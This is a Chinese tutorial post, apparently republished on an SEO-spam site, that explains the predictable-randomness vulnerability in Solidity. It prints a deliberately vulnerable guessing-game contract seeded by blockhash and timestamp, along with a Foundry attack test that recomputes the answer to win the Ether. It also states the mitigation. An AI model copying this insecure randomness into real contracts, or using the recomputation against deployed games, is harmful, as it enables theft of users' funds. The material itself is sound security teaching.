您的位置:首页 > 教育 > 锐评 > seo短视频网页入口引流网_兰州网站制作公司服务电话_营销策略理论_网站搜索引擎

seo短视频网页入口引流网_兰州网站制作公司服务电话_营销策略理论_网站搜索引擎

2025/1/7 11:38:46 来源:https://blog.csdn.net/weixin_43458715/article/details/144911021  浏览:    关键词:seo短视频网页入口引流网_兰州网站制作公司服务电话_营销策略理论_网站搜索引擎
seo短视频网页入口引流网_兰州网站制作公司服务电话_营销策略理论_网站搜索引擎

区块链安全常见的攻击分析——可预测随机数漏洞 Predictable Randomness Vulnerability

    • 1.1 漏洞分析
    • 1.2 漏洞合约
    • 1.3 攻击分析
    • 1.4 攻击合约
    • 1.5 在sepolia测试网复现Randomness随机数攻击

重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为基础生成随机数,攻击者可以通过计算获取随机数的结果。

1.1 漏洞分析

  • 只需要知道合约在部署的时候区块number和时间戳就可以求出这个随机数
    在这里插入图片描述

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";/*
名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)描述:
使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
因为矿工或攻击者可以操控这些变量。场景:
GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
伪随机数是通过区块哈希和时间戳生成的。乍一看,似乎不可能猜中正确的数字。
但我们来看一下如何轻松获胜。1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
2. Eve 部署攻击合约 Attack
3. Eve 调用 Attack.attack() 并赢得 1 Ether发生了什么?
攻击者通过简单地复制生成随机数的代码,计算出正确答案。缓解措施:
不要使用 blockhash 和 block.timestamp 作为随机数的来源。参考:
https://solidity-by-example.org/hacks/randomness/*/contract GuessTheRandomNumber {constructor() payable {}function guess(uint _guess) public {uint answer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));console.log("GuessTheRandomNumber-guess()-answer:", answer);if (_guess == answer) {(bool sent, ) = msg.sender.call{value: 1 ether}("");require(sent, "Failed to send Ether");}}
}

1.3 攻击分析

  1. 直接采用同样的代码获取即可在这里插入图片描述

  2. 因为猜对后会返回发送的币,所以要注意需要加上receive()接收函数
    在这里插入图片描述
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./Randomness.sol";contract ContractTest is Test {GuessTheRandomNumber GuessRandomContract;address Koko;address Aquarius;function setUp() public {Koko = vm.addr(1);Aquarius = vm.addr(2);vm.deal(address(Koko), 1 ether);vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();console.log("Randomness_Attack-setUp()");}function testRandomness() public {uint guessAnswer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));console.log("  Test-testRandomness()-guessAnswer:", guessAnswer);GuessRandomContract.guess(guessAnswer);}receive() external payable {}
}

1.5 在sepolia测试网复现Randomness随机数攻击

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com